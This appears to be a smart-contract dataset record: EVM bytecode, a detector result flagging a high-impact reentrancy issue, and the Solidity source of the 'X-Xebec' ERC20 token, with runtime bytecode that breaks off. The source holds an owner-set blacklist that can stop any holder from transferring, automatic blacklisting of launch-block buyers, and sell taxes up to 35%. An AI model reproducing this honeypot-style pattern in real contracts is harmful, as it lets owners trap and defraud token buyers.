0565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005bfb05b9bf49dd29e3ec46f303c1ca60ef3261f49122abcad2824a0391c213f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,010
0x6721e0432df6b164d1ee8adc0ee9ebf6aa0cf4e8
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ /** * X-Xebec totalSupply : 1,000,000,000,000 liquidity : 70% totalBurn : 27% Marketing : 2% team dev : 1% tg: https://t.me/XXebecCommunity twitter : https://twitter.com/xebec_x * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool) ; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract XXebec is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode" X-Xebec "; string private constant _symbol = unicode" XX "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600981526020017f20582d5865626563200000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600481526020017f2058582000000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565